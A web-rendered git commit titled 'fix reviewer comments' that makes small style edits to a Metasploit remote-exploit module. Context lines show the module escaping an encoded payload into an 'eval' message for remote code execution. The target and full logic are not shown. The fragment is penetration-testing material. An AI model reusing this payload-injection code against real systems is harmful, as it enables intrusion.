fix reviewer comments
parent
637b83a0ea
commit
97d08e0da4
|
@ -46,10 +46,10 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
|
|
||||||
def make_eval_message
|
def make_eval_message
|
||||||
escaped_payload = payload.encoded.gsub(/"/, '\\"')
|
escaped_payload = payload.encoded.gsub(/"/, '\\"')
|
||||||
msg_body = MESSAGE_TEMPLATE % {:payload => escaped_payload}
|
msg_body = MESSAGE_TEMPLATE % {:payload => escaped_payload}
|
||||||
msg_header = MESSAGE_HEADER_TEMPLATE % {:length => msg_body.length}
|
msg_header = MESSAGE_HEADER_TEMPLATE % {:length => msg_body.length}
|
||||||
return msg_header + msg_body
|
return msg_header + msg_body
|
||||||
end
|
end
|
||||||
|
|
||||||
def check
|
def check
|
||||||
|
@ -62,7 +62,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
return Exploit::CheckCode::Appears
|
return Exploit::CheckCode::Appears
|
||||||
end
|
end
|
||||||
|
|
||||||
return Exploit::CheckCode::Unknown
|
Exploit::CheckCode::Unknown
|
||||||
end
|
end
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
|
@ -82,8 +82,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
else
|
else
|
||||||
print_error("Got unexpected response: #{buf}")
|
print_error("Got unexpected response: #{buf}")
|
||||||
end
|
end
|
||||||
|
|
||||||
handler
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue